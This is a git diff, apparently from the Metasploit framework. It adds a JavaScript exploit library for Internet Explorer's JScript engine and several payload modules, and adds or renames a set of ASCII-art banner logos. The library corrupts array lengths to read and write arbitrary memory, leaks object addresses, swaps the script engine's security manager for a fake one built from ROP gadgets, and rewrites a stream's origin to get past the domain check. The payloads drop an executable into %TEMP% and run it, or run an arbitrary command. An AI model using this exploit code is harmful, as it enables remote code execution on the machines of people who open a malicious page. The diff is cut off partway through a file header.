} + + decl += '0'; + decl += ']'; + + for ( var i = 0; i < num_arrays; ++ i ) { + this.arr_arr[i] = eval(decl); + for(var j = 0; j < this.arr_contents.length; j++) { + this.arr_arr[i][j] = this.arr_contents[j]; + } + } + + } + + // Should be used before calling spray() + ExpLib.prototype.setArrContents = function(contents) { + for(var i = 0; i < this.arr_size && i < contents.length; i++) { + this.arr_contents[i] = contents[i]; + } + } + + ExpLib.prototype.setValue = function(i1, i2, v) { + this.arr_arr[i1][i2] = v; + } + + + ExpLib.prototype.setValueByAddr = function(index, addr, v) { + this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v; + } + + ExpLib.prototype.read32 = function(addr) { + if ( addr % 4 ) { + // error + } + + if ( addr >= this.arr2_member_base ) { + return this.arr2[(addr - this.arr2_member_base)/4]; + } else { + return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4] + } + } + + ExpLib.prototype.write32 = function(addr, value) { + if ( addr % 4 ) { + // error + } + + if ( value >= 0x80000000 ) + value = -(0x100000000 - value); + + //alert(((addr - this.arr2_member_base)/4).toString(16)); + if ( addr >= this.arr2_member_base ) { + this.arr2[(addr - this.arr2_member_base)/4] = value; + } else { + this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value; + } + } + + ExpLib.prototype.read8 = function(addr) { + var value = this.read32( addr & 0xfffffffc ); + switch ( addr % 4 ) { + case 0: return (value & 0xff); + case 1: return ((value >> 8) & 0xff); + case 2: return ((value >> 16) & 0xff); + case 3: return ((value >> 24) & 0xff); + } + + return 0; + } + + ExpLib.prototype.write8 = function(addr, value) { + var original_value = this.read32( addr & 0xfffffffc ); + var new_value; + + switch ( addr % 4 ) { + case 0: + new_value = (original_value & 0xffffff00) | (value & 0xff); + break; + + case 1: + new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8); + break; + case 2: + new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16); + break; + case 3: + new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24); + break; + } + + + this.write32( addr & 0xfffffffc, new_value ); + } + + + ExpLib.prototype.writeBytes = function(addr, bytes) { + for ( var i = 0; i + 3 < bytes.length; i += 4 ) { + var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) | + ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24); + + this.write32( addr + i, value ); + } + + for ( ; i < bytes.length; ++ i ) { + this.write8( addr + i, bytes[i] ); + } + } + + ExpLib.prototype.writeString = function(addr, s) { + var bytes = []; + var i = 0; + for ( ; i < s.length; ++ i ) { + bytes[i] = s.charCodeAt(i); + } + + bytes[i] = 0; + + this.writeBytes( addr, bytes ); + } + + ExpLib.prototype.writeStringW = function(addr, s) { + var bytes = []; + var i = 0; + for ( ; i < s.length; ++i ) { + bytes[i * 2] = s.charCodeAt(i); + bytes[i * 2 + 1] = 0; + } + + bytes[s.length * 2] = 0; + bytes[s.length * 2 + 1] = 0; + + this.writeBytes( addr, bytes ); + } + + ExpLib.prototype.read16 = function(addr) { + if ( addr % 2 ) { + // error, not aligned + } + + var value = this.read32( addr & 0xfffffffc ); + switch ( addr % 4 ) { + case 0: return (value & 0xffff); + case 1: return ((value >> 8) & 0xffff); + case 2: return ((value >> 16) & 0xffff); + case 3: /*not supported*/ break; + } + + return 0; + } + + ExpLib.prototype.strequal = function(addr, s) { + for ( var i = 0; i < s.length; ++ i ) { + if ( this.read8(addr + i) != s.charCodeAt(i) ) + return false; + } + + return true; + } + + + ExpLib.prototype.getModuleBase = function(addr) { + + var cur_addr = addr; + + while ( cur_addr > 0 ) { + + if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) { + return cur_addr; + } + + cur_addr -= 0x10000; + } + + return 0; + } + + + + ExpLib.prototype.getModuleBaseFromIAT = function(base, name) { + var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 ); + var cur_table = import_table; + + while ( cur_table < import_table + 0x1000 ) { + + var name_addr = base + this.read32(cur_table + 12); + if ( this.strequal( name_addr, name ) ) { + var iat = base + this.read32(cur_table + 16); + var func = this.read32(iat); + while ( 0 == func ) { + iat += 4; + func = this.read32(iat); + } + + return this.getModuleBase( func & 0xFFFF0000 ); + + } + + cur_table += 20; + } + + return 0; + } + + ExpLib.prototype.getProcAddress = function(base, procname) { + var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 ); + var num_functions = this.read32( export_table + 20 ); + var addr_functions = base + this.read32( export_table + 28 ); + var addr_names = base + this.read32( export_table + 32 ); + var addr_ordinals = base + this.read32( export_table + 36 ); + + for ( var i = 0; i < num_functions; ++ i ) { + var name_addr = this.read32( addr_names + i * 4 ) + base; + if ( this.strequal( name_addr, procname ) ) { + var ordinal = this.read16( addr_ordinals + i * 2 ); + var result = this.read32( addr_functions + ordinal * 4 ) + base; + return result; + } + } + + return 0; + } + + ExpLib.prototype.searchBytes = function(pattern, start, end) { + + if ( start >= end || start + pattern.length > end ) + return 0; + + var pos = start; + while ( pos < end ) { + for ( var i = 0; i < pattern.length; ++ i ) { + if ( this.read8(pos + i) != pattern[i] ) + break; + } + + if ( i == pattern.length ) { + return pos; + } + + ++ pos; + } + + return 0; + } + + + ExpLib.prototype.getError = function(msg) { + return this.err_msg; + } + + ExpLib.prototype.setError = function(msg) { + this.err_msg = msg; + } + + ExpLib.prototype.setStreamOrigin = function(offset) { + this.stream_origin = offset; + } + + ExpLib.prototype.getStreamOrigin = function() { + return this.stream_origin; + } + + ExpLib.prototype.memcpy = function(dst, src, size) { + var i = 0; + for ( ; i < size - 4; i += 4 ) { + this.write32( dst + i, this.read32(src + i) ); + } + + for ( ; i < size; ++ i ) { + this.write8( dst + i, this.read8(src + i) ); + } + } + + ExpLib.prototype.go = function() { + + var i = 0; + + + + for ( ; i < this.arr_arr.length - 1; ++ i ) { + this.arr_arr[i][this.arr_size + 0x1c / 4] = 0; + + if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) { + this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff; + this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff; + + this.arr_arr[i + 1].length = 0x3fffffff; + + if ( this.arr_arr[i+1].length == 0x3fffffff ) { + break; + } + } + + } + + if ( i >= this.arr_arr.length - 1 ) { + this.setError( "Cannot find array with corrupt length!" ); + return false; + } + + this.arr1_idx = i; + this.arr2_idx = i + 1; + + this.arr1 = this.arr_arr[i]; + this.arr2 = this.arr_arr[i + 1]; + + this.arr2_base = this.base + 0x1000; + this.arr2_member_base = this.arr2_base + 0x20; + + var func_addr = this.leakAddress(ActiveXObject); + var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4); + + //alert(script_engine_addr.toString(16)); + + var original_securitymanager = this.read32( script_engine_addr + 0x21c ); + if ( !original_securitymanager ) { + // let security manager to be valid + try { + var WshShell = new ActiveXObject("WScript.shell"); + } catch (e) {} + + original_securitymanager = this.read32( script_engine_addr + 0x21c ); + } + + var original_securitymanager_vtable = this.read32(original_securitymanager); + var securitymanager_size = 0x28; + var fake_securitymanager = 0x1a1b2010; + var fake_securitymanager_vtable = fake_securitymanager + 0x28; + //alert(original_securitymanager.toString(16)); + + this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size ); + this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 ); + this.write32( fake_securitymanager, fake_securitymanager_vtable ); + this.write32(script_engine_addr + 0x21c, fake_securitymanager); + + var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 ); + var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104); + var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108); + + + this.write32( fake_securitymanager_vtable + 0x14, + this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */ + + this.write32( fake_securitymanager_vtable + 0x10, + this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */ + + this.payload.execute(this); + + + /* + * restore + */ + + this.write32( script_engine_addr + 0x21c, original_securitymanager ); + + return true; + + } + + ExpLib.prototype.leakAddress = function(obj) { + this.arr_arr[this.arr2_idx + 1][2] = obj; + return this.read32(this.arr2_member_base + 0x1008); + } + + ExpLib.prototype.switchStreamOrigin = function(stream) { + var obj = this.leakAddress(stream); + var stream_obj = this.read32(obj + 0x30); + //var url_addr = this.read32(stream_obj + 0x3c); + var url_addr = this.read32(stream_obj + this.stream_origin); + + /* + * bypass domain check + */ + this.writeStringW( url_addr, 'file:///C:/1.htm' ); + } + + return ExpLib; + +})(); diff --git a/data/js/memory/explib2/payload/drop_exec.js b/data/js/memory/explib2/payload/drop_exec.js new file mode 100644 index 0000000000..1bba3effce --- /dev/null +++ b/data/js/memory/explib2/payload/drop_exec.js @@ -0,0 +1,33 @@ +function payload_drop_exec(pe) { + + this.execute = function(explib) { + + var WshShell = new ActiveXObject("WScript.shell"); + var temp = WshShell.ExpandEnvironmentStrings("%TEMP%"); + var filename = temp + "\\a.exe"; + + var bStream = new ActiveXObject("ADODB.Stream"); + var txtStream = new ActiveXObject("ADODB.Stream"); + bStream.Type = 1; + txtStream.Type = 2; + + bStream.Open(); + txtStream.Open(); + + explib.switchStreamOrigin(txtStream); + + txtStream.WriteText(pe); + txtStream.Position = 2; + txtStream.CopyTo( bStream ); + txtStream.Close(); + + explib.switchStreamOrigin(bStream); + + bStream.SaveToFile(filename, 2); + bStream.Close(); + + oExec = WshShell.Exec(filename); + } + + return this; +} diff --git a/data/js/memory/explib2/payload/exec.js b/data/js/memory/explib2/payload/exec.js new file mode 100644 index 0000000000..704db247e6 --- /dev/null +++ b/data/js/memory/explib2/payload/exec.js @@ -0,0 +1,10 @@ +function payload_exec(cmd) { + + this.execute = function(explib) { + + var WshShell = new ActiveXObject("WScript.shell"); + var oExec = WshShell.Exec(cmd); + } + + return this; +} diff --git a/data/js/network/ajax_post.js b/data/js/network/ajax_post.js index 4e6729acfa..91f6b47a1a 100644 --- a/data/js/network/ajax_post.js +++ b/data/js/network/ajax_post.js @@ -1,10 +1,18 @@ -function postInfo(path, data) { +function postInfo(path, data, cb) { var xmlHttp = new XMLHttpRequest(); if (xmlHttp.overrideMimeType) { xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); } - xmlHttp.open('POST', path, false); + xmlHttp.open('POST', path, !!cb); + + if (cb) { + xmlHttp.onreadystatechange = function() { + if (xmlHttp.readyState == 4) { cb.apply(this, arguments); } + }; + } + xmlHttp.send(data); -} \ No newline at end of file + return xmlHttp; +} diff --git a/lib/msf/ui/logos/3kom-superhack.txt b/data/logos/3kom-superhack.txt similarity index 100% rename from lib/msf/ui/logos/3kom-superhack.txt rename to data/logos/3kom-superhack.txt diff --git a/lib/msf/ui/logos/branded-longhorn.txt b/data/logos/cow-branded-longhorn.txt similarity index 100% rename from lib/msf/ui/logos/branded-longhorn.txt rename to data/logos/cow-branded-longhorn.txt diff --git a/lib/msf/ui/logos/cow-head.txt b/data/logos/cow-head.txt similarity index 100% rename from lib/msf/ui/logos/cow-head.txt rename to data/logos/cow-head.txt diff --git a/lib/msf/ui/logos/cowsay.txt b/data/logos/cowsay.txt similarity index 100% rename from lib/msf/ui/logos/cowsay.txt rename to data/logos/cowsay.txt diff --git a/lib/msf/ui/logos/figlet.txt b/data/logos/figlet.txt similarity index 100% rename from lib/msf/ui/logos/figlet.txt rename to data/logos/figlet.txt diff --git a/data/logos/gargoyle.hwtxt b/data/logos/gargoyle.hwtxt new file mode 100644 index 0000000000..11bd69ca35 --- /dev/null +++ b/data/logos/gargoyle.hwtxt @@ -0,0 +1,34 @@ + + , , + \'. .'/ + ),\ /,( + /__\'. .'/__\ + \ `'.'-.__ __.-'.'` / + `) `'-. \ / .-'` (' + / _.--'\ '. , , .' /'--._ \ + |-'` '. '-.__ / \ / \ __.-' .' `'-| + \ _.`'-.,_'-.|/\ \ _,_ / /\|.-'_,.-'`._ / + `\ .-' /'-.|| \ |.-" "-.| / ||.-'\ '-. /` + )-'` .' :|| / -.\\ //.- \ ||: '. `'-( + / .' / \\_ | /o`^'o\ | _// \ '. \ + \ .-' .' `--| `"/ \"` |--` '. '-. / + `) _.' .' .--.; |\__"__/| ;.--. '. '._ (' + /_.' .-' _.-' \\ \/^\/ // `-._ '-. '._\ + \ .'`_.--' \\ // `--._`'. / + '-._' /` _ \\-.-// _ `\ '_.-' + `< _,..--''`| \`"`/ |`''--..,_ >` + _\ ``--..__ \ `'` / __..--`` /_ + / '-.__ ``'-; / \ ;-'`` __.-' \ + | _ ``''--.. \'-' | '-'/ ..--''`` _ | + \ '-. / |/--|--\| \ .-' / + '-._ '-._ / |---|---| \ _.-' _.-' + `'-._ '/ / / /---|---\ \ \ \' _.-'` + '-./ / / / \`---`/ \ \ \ \.-' + `)` ` /'---'\ ` `(` + jgs /` | | `\ + / / | | | | \ \ + .--' / | '. .' | \ '--. + /_____/| / \._\ /_./ \ |\_____\ + (/ (/' \) (/ `\) \) + + diff --git a/data/logos/ghost01.hwtxt b/data/logos/ghost01.hwtxt new file mode 100644 index 0000000000..7a21eb7017 --- /dev/null +++ b/data/logos/ghost01.hwtxt @@ -0,0 +1,37 @@ + + .,,cccd$$$$$$$$$$$ccc, + ,cc$$$$$$$$$$$$$$$$$$$$$$$$$cc, + ,d$$$$$$$$$$$$$$$$"J$$$$$$$$$$$$$$c, + d$$$$$$$$$$$$$$$$$$,$" ,,`?$$$$$$$$$$$$L + ,$$$$$$$$$$$$$$$$$$$$$',J$$$$$$$$$$$$$$$$$b + ,$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i `$h + $$$$$$$$$$$$$$$$$$$$$$$$$P' "$$$$$$$$$$$h $$ + ;$$$$$$$$$$$$$$$$$$$$$$$$F,$$$h,?$$$$$$$$$$h$F + `$$$$$$$$$$$$$$$$$$$$$$$F:??$$$:)$$$$P",. $$F + ?$$$$$$$$$$$$$$$$$$$$$$( `$$ J$$F"d$$F,$F + ?$$$$$$$$$$$$$$$$$$$$$h, :P'J$$F ,$F,$" + ?$$$$$$$$$$$$$$$$$$$$$$$ccd$$`$h, ",d$ + "$$$$$$$$$$$$$$$$$$$$$$$$",cdc $$$$" + ,uu, `?$$$$$$$$$$$$$$$$$$$$$$$$$$$c$$$$h + .,d$$$$$$$cc, `$$$$$$$$$$$$$$$$??$$$$$$$$$$$$$$$, + ,d$$$$$$$$$$$$$$$bcccc,,??$$$$$$ccf `"??$$$$??$$$$$$$ + d$$$$$$$$$$$$$$$$$$$$$$$$$h`?$$$$$$h`:... d$$$$$$$$P + d$$$$$$$$$$$$$$$$$$$$$$$$$$$$`$$$$$$$hc,,cd$$$$$$$$P" + =$$?$$$$$$$$P' ?$$$$$$$$$$$$$$$$$;$$$$$$$$$???????",, + =$$$$$$F `"?????$$$$$$$$$$$$$$$$$$$$$$$$$$$$$bc + d$$F"?$$k ,ccc$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i + . ,ccc$$c`""u$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P",$$$$$$$$$$$$h + ,d$$$L J$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" `""$$$??$$$$$$$ + ,d$$$$$$c,"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F `?J$$$$$$$' + ,$$$$$$$$$$h`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F ?$$$$$$$P""=, + ,$$$F?$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F 3$$$$II"?$h, + $$$$$`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P" ;$$$??$$$,"?" + $$$$F ?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P",z' 3$$h ?$F + `?$$$$$$$$$$$$$$$??$$$$$$$$$PF"',d$P" "?$F + """"""" ,z$$$$$$$$$$$$$P + J$$$$$$$$$$$$$$F + ,$$$$$$$$$$$$$$F + :$$$$$c?$$$$PF' + `$$$$$$$P + `?$$$$F + diff --git a/lib/msf/ui/logos/i-heart-shells.txt b/data/logos/i-heart-shells.txt similarity index 100% rename from lib/msf/ui/logos/i-heart-shells.txt rename to data/logos/i-heart-shells.txt diff --git a/data/logos/json01.hwtxt b/data/logos/json01.hwtxt new file mode 100644 index 0000000000..7776fdf064 --- /dev/null +++ b/data/logos/json01.hwtxt @@ -0,0 +1,21 @@ + + aa@@@@@@@@@@@@@aa + a@@@@@@@@@@@@@@@@@@@@@a + a@@@@@@@@@@@@@@@@@@@@@@@@@a + @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@~~~~@@@@@@@@@~~~~@@@@@@@ + @@@@@@ @@@@@@@ @@@@@@ + @@@@@@@aaaa@@@@@@@@@aaaa@@@@@@@ + @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + `@@@@@@@@@@@@@@@@@@@@@@@@@@@@@' + @@@@@@@@~@@@~@@@~@@@~@@@@@@@@ + @@@@@@@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@@~@@@~@@@~@@@@@@@@ + @@@@@@@@@@@@@@@@@@@@@@@ + @@@@@@@@~@@@~@@@@@@@@ + `@@@@@@@@@@@@@@@@@' + ~~@@@@@@@~~ + + diff --git a/data/logos/metasploit-park.txt b/data/logos/metasploit-park.txt new file mode 100644 index 0000000000..aa7338960d --- /dev/null +++ b/data/logos/metasploit-park.txt @@ -0,0 +1,17 @@ +%clr%whi + Metasploit Park, System Security Interface + Version 4.0.5, Alpha E + Ready... + > %bldaccess security%clr + access: PERMISSION DENIED. + > %bldaccess security grid%clr + access: PERMISSION DENIED. + > %bldaccess main security grid%clr + access: PERMISSION DENIED....and... + %redYOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD!%clr diff --git a/lib/msf/ui/logos/metasploit-shield.txt b/data/logos/metasploit-shield.txt similarity index 100% rename from lib/msf/ui/logos/metasploit-shield.txt rename to data/logos/metasploit-shield.txt diff --git a/data/logos/metasploit-trail.txt b/data/logos/metasploit-trail.txt new file mode 100644 index 0000000000..b4a8c321c0 --- /dev/null +++ b/data/logos/metasploit-trail.txt @@ -0,0 +1,41 @@ +%clr +%mag .~+P``````-o+:. -o+:.%clr +%mag.+oooyysyyssyyssyddh++os-````` ``````````````` `%clr +%mag+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o%clr +%mag++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy%clr +%mag--.` .-.-...-////+++++++++++++++////////~~//////++++++++++++///%clr +%mag `...............` `...-/////...`%clr +%clr +%clr +%whi .::::::::::-. .::::::-%clr +%whi .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo%clr +%whi :Nm-/NMMMMMMMMMMMMM%blu$$%whiNMMMMm%blu&&%whiMMMMMMMMMMMMMMy%clr +%whi .sm/`-yMMMMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMMMMh`%clr +%whi -Nd` :MMMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMMMh`%clr +%whi -Nh` .yMMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMMm/%clr +%whi `oo/``-hd: `` .sNd :MMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMm/%clr +%whi .yNmMMh%dred//%whi+syysso-`````` -mh` :MMMMMMMMMM%blu$$%whiMMMMMN%blu&&%whiMMMMMMMMMMd%clr +%whi .shMMMMN%dred//%whidmNMMMMMMMMMMMMs` `:```-o++++oooo+:/ooooo+:+o+++oooo++/%clr +%whi `///omh%dred//%whidMMMMMMMMMMMMMMMN/%dred:::::/+ooso--/ydh//+s+/ossssso:--syN///os:%clr +%whi /MMMMMMMMMMMMMMMMMMd. %dred`/++-.-yy/%whi...%dredosydh/-+oo:-`o//%whi...%dredoyodh+%clr +%whi -hMMmssddd+:dMMmNMMh. %dred`.-=mmk.%whi//^^^\\%dred.^^`:++:^^o:%whi//^^^\\%dred`::%clr +%whi .sMMmo. -dMd--:mN/` %whi||--X--||%clr %dred%whi||--X--||%clr +%whi........../yddy/:...+hmo-...hdd:............%whi\\=v=//%clr............%dred%whi\\=v=//%clr......... +%grn================================================================================%clr +%grn=====================%whi+--------------------------------+%grn=========================%clr +%grn=====================%whi| Session one died of dysentery. |%grn=========================%clr +%grn=====================%whi+--------------------------------+%grn=========================%clr +%grn================================================================================%clr +%clr +%clr %grnPress ENTER to size up the situation%clr +%clr +%whi%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr +%whi%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr +%whi%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%%clr +%whi%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr +%whi%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr +%whi%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr +%whi%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%clr +%clr +%clr %whiPress SPACE BAR to continue%clr +%clr diff --git a/lib/msf/ui/logos/missile-command.txt b/data/logos/missile-command.txt similarity index 100% rename from lib/msf/ui/logos/missile-command.txt rename to data/logos/missile-command.txt diff --git a/data/logos/mummy.hwtxt b/data/logos/mummy.hwtxt new file mode 100644 index 0000000000..7d8cad8294 --- /dev/null +++ b/data/logos/mummy.hwtxt @@ -0,0 +1,29 @@ + + ,mmmmm, ______ _________ + @ooooo@, / /. . \\ /./-----\.\ + @0m0m0Q@ / /. . .`,\\>./, , ,\.\ + @0X00X@@ | |. . . |:|\| , , |.| + ____@0m00@_____ | | . . . |:|X| , , , |.| + @@@op(oboy)pop@@Ok | |. . . |:|\| , , |.| + @@@@opopopopop@@@p@@| | . . . |:|\| , , , |.| + @@o@@opopopopop@@op@@,|. . . |:|\| , , |.| + @@o@@popopopopopop@o@@| . . . |:|X| , , , |.| + @@o@@mmmmmmgogogo@oo@|. . . |:|\| , , |.| + @@@@@@@mmm'ooo@|@oo@| . . . |:|\| , , , |.| + @oooooooOOOO@" @o@|. . . |:|\| , , |.| + @OoOoO@OoOoO@ @@@| . . . |:|X| , , , |.| + @oooo@@@oooo@ @@@|. . . .|:|\| , , |.| + .@@@o@@@@ooo@@ ,@@}| . . .// \\_________/.| + .@@oo@@@@@@ooo@. "@@'|. . // \==========/ + .@ooooo@@@@@oooo@ \ // + @ooooO@' `@@ooo@| + @oooo@' `@oooo@ + @ooo@' `oooo@| The MUMMY, from his coffin, + @oo@@' `@oo@| began to rise. And suddenly, + @o@@| @@o@, to my surprize! + @@@@: @@o@| ----- + @@@@: @@o@| "HE DID THE MASH!" + `@oo: `@@@: + /@@@) /@@@) + (@@@@/ (@@@@/ \_/ Phoenix... (lives) + diff --git a/lib/msf/ui/logos/ninja.txt b/data/logos/ninja.txt similarity index 100% rename from lib/msf/ui/logos/ninja.txt rename to data/logos/ninja.txt diff --git a/lib/msf/ui/logos/null-pointer-deref.txt b/data/logos/null-pointer-deref.txt similarity index 100% rename from lib/msf/ui/logos/null-pointer-deref.txt rename to data/logos/null-pointer-deref.txt diff --git a/data/logos/pentagram01.hwtxt b/data/logos/pentagram01.hwtxt new file mode 100644 index 0000000000..ebd5cf792b --- /dev/null +++ b/data/logos/pentagram01.hwtxt @@ -0,0 +1,22 @@ + + ..... + .d$$$$*$$$$$$bc + .d$P" d$$ "*$$. + d$" 4$"$$ "$$. + 4$P $F ^$F "$c + z$% d$ 3$ ^$L + 4$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F + $$$F"""""""$F""""""$F"""""C$$*$ + .$%"$$e d$ 3$ z$$" $F + 4$ *$$.4$" $$d$P" $$ + 4$ ^*$$. .d$F $$ + 4$ d$"$$c z$$"3$ $F + $L 4$" ^*$$$P" $$ 4$" + 3$ $F .d$P$$e ^$F $P + $$ d$ .$$" "$$c 3$ d$ + *$.4$"z$$" ^*$$$$ $$ + "$$$$P" "$$$P + *$b. .d$P" + "$$$ec.....ze$$$" + "**$$$**"" + diff --git a/data/logos/pumpkin01.hwtxt b/data/logos/pumpkin01.hwtxt new file mode 100644 index 0000000000..f8fcf0a1c3 --- /dev/null +++ b/data/logos/pumpkin01.hwtxt @@ -0,0 +1,28 @@ + + + ooo + $ o$ + o $$ + ""$$$ o" $$ oo " + " o$"$oo$$$"o$$o$$"$$$$$ o + $" "o$$$$$$o$$$$$$$$$$$$$$o o + o$" "$$$$$$$$$$$$$$$$$$$$$$o" "oo o + " " o "$$$o o$$$$$$$$$$$oo$$ + " $ " "o$$$$$ $$$$$$$$$$$"$$$$$$$o + o $ o o$$$$$"$$$$$$$$$$$o$$"""$$$$o " " + o o$$$$$" "$$$$$$$$$$ "" oo $$ o $ + $ $ $$$$$ $$$oo "$$$$$$$$o o $$$o$$oo o o +o o $$$$$oo$$$$$$o$$$$ ""$$oo$$$$$$$$" " "o +" o $ ""$$$$$$$$$$$$$$ o "$$$$$$$$$$$$ o " +" $ "$$$$$$$$$$$$$$ " $$$"$$$$$$$$o o +$ o o$"""""$$$$$$$$ oooo$$ $$$$$$$$" " +$ o""o $$o $$$$$$$$$$$$$$$$$ "" o$$$ $ o + o " "o "$$$$ $$$$$""""""""""" $ o$$$$$"" o o + " " o o$o" $$$$o "" o o$$$$$" o + $ o$$$$$$$oo "oo$$$$$$$" o + "$ o o$o $o o$$$$$"$$$$oooo$$$$$$$$$$$$$$"o$o + "o oo $o$"oo$$$$$o$$$$$$$$$$$$"$$$$$$$$"o$" + "$ooo $$o$ $$$$$$$$$$$$$$$$ $$$$$$$$o" + "" $$$$$$$$$$$$$$$$$$$$$$" """" + """""" + diff --git a/data/logos/pumpkin02.hwtxt b/data/logos/pumpkin02.hwtxt new file mode 100644 index 0000000000..b2ef3e59ae --- /dev/null +++ b/data/logos/pumpkin02.hwtxt @@ -0,0 +1,25 @@ + ........ + ;::;;::;, + ;::;;::;;, + ;;:::;;::;;, + .vnmmnv%vnmnv%,.;;;:::;;::;;, .,vnmnv%vnmnv, + vnmmmnv%vnmmmnv%vnmmnv%;;;;;;;%nmmmnv%vnmmnv%vnmmnv + vnmmnv%vnmmmmmnv%vnmmmmmnv%;:;%nmmmmmmnv%vnmmmnv%vnmmmnv + vnmmnv%vnmmmmmnv%vnmmmmmmmmnv%vnmmmmmmmmnv%vnmmmnv%vnmmmnv + vnmmnv%vnmmmmmnv%vnmmmmmmmmnv%vnmmmmmmmmmmnv%vnmmmnv%vnmmmnv + vnmmnv%vnmmmmmnv%vnmm;mmmmmmnv%vnmmmmmmmm;mmnv%vnmmmnv%vnmmmnv, + vnmmnv%vnmmmmmnv%vnmm;' mmmmmnv%vnmmmmmmm;' mmnv%vnmmmnv%vnmmmnv + vnmmnv%vnmmmmmnv%vn;; mmmmnv%vnmmmmmm;; nv%vnmmmmnv%vnmmmnv + vnmmnv%vnmmmmmmnv%v;; mmmnv%vnmmmmm;; v%vnmmmmmnv%vnmmmnv + vnmmnv%vnmmmmmmnv%vnmmmmmmmmm;; mmmmmmmmmnv%vnmmmmmmnv%vnmmmnv + vnmmnv%vnmmmmmmnv%vnmmmmmmmmmm;; mmmmmmmmmmnv%vnmmmmmmnv%vnmmmnv + vnmmnv%vnmmmmm nv%vnmmmmmmmmmmnv;, mmmmmmmmmmmmnv%vn;mmmmmnv%vnmmmnv + vnmmnv%vnmmmmm nv%vnmmmmmmmmmnv%;nmmmmmmmmmmmnv%vn; mmmmmnv%vnmmmnv + `vnmmnv%vnmmmm, v%vnmmmmmmmmmmnv%vnmmmmmmmmmmnv%v; mmmmnv%vnnmmnv' + vnmmnv%vnmmmm;, %vnmmmmmmmmmnv%vnmmmmmmmmmnv%;' mmmnv%vnmmmmnv + vnmmnv%vnmmmm;;, nmmm;' mmmm;;' mmmnv%vnmmmmnv' + `vnmmnv%vnmmmmm;;,. mmnv%v;, mmmmnv%vnmmmmnv' + `vnmmnv%vnmmmmmmnv%vnmmmmmmmmnv%vnmmmmmmnv%vnmmmmmnv%vnmmmmnv' + `vnmvn%vnmmmmmmnv%vnmmmmmmmnv%vnmmmmmnv%vnmmmmmnv%vnmmmnv' + `vn%vnmmmmmmn%:%vnmnmmmmnv%vnmmmnv%:%vnmmnv%vnmnv' + diff --git a/data/logos/pumpkin03.hwtxt b/data/logos/pumpkin03.hwtxt new file mode 100644 index 0000000000..7e3bbd8921 --- /dev/null +++ 